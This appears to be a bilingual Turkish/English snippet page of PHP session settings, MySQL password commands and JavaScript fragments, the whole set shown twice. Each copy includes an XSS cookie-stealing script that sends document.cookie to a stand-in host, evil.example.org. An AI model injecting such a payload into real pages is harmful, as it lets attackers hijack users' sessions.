
PHP oturum süresi
<?
session_cache_limiter (‘private, must-revalidate’);
$cache_limiter = session_cache_limiter();
//
session_cache_expire(60); // in minutes
session_start() ;
?>
//———————————————-
<script type=”text/javascript”>
width = screen.width;
height = screen.height;
if (width > 0 && height >0) {
window.location.href = “http://localhost/main.php?width=” + width + “&height=” + height;
} else
exit();
</script>
//——————————————————————————————–
PASSWORD(‘mypass’)
//——————————————-
SET PASSWORD FOR ‘bob’@’%.loc.gov’ = PASSWORD(‘newpass’);
That is equivalent to the following statements:
UPDATE mysql.user SET Password=PASSWORD(‘newpass’)
WHERE User=’bob’ AND Host=’%.loc.gov’;
FLUSH PRIVILEGES;
//—————————————————————-
<script>
document.location = ‘http://evil.example.org/steal_cookies.php?cookies=’ + document.cookie
</script>
//—————————————————————————————————$echo = iconv(“ISO-8859-9”, “utf-8″, $echo); //karakter dönüşümü
<td><div align=’center’><a href=javascript:log_detail_show($uniq_id[$i],’$sid’);>logs</a></div></td>
<td><div align=’center’><a href=javascript:log_delete($uniq_id[$i],’$sid’);>Del</a></div></td>
<td><div align=’center’><a href=javascript:detail($uniq_id[$i],’$sid’);>Detail</a></div></td>
//———————————————————————————————————-[:en]PHP session duration
<?
session_cache_limiter (‘private, must-revalidate’);
$cache_limiter = session_cache_limiter();
//
session_cache_expire(60); // in minutes
session_start() ;
?>
//———————————————-
<script type=”text/javascript”>
width = screen.width;
height = screen.height;
if (width > 0 && height >0) {
window.location.href = “http://localhost/main.php?width=” + width + “&height=” + height;
} else
exit();
</script>
//——————————————————————————————–
PASSWORD(‘mypass’)
//——————————————-
SET PASSWORD FOR ‘bob’@’%.loc.gov’ = PASSWORD(‘newpass’);
That is equivalent to the following statements:
UPDATE mysql.user SET Password=PASSWORD(‘newpass’)
WHERE User=’bob’ AND Host=’%.loc.gov’;
FLUSH PRIVILEGES;
//—————————————————————-
<script>
document.location = ‘http://evil.example.org/steal_cookies.php?cookies=’ + document.cookie
</script>
//—————————————————————————————————$echo = iconv(“ISO-8859-9”, “utf-8”, $echo); //karakter dönüşümü
<td><div align=’center’><a href=javascript:log_detail_show($uniq_id[$i],’$sid’);>logs</a></div></td>
<td><div align=’center’><a href=javascript:log_delete($uniq_id[$i],’$sid’);>Del</a></div></td>
<td><div align=’center’><a href=javascript:detail($uniq_id[$i],’$sid’);>Detail</a></div></td>
//———————————————————————————————————
Bir Cevap Yazın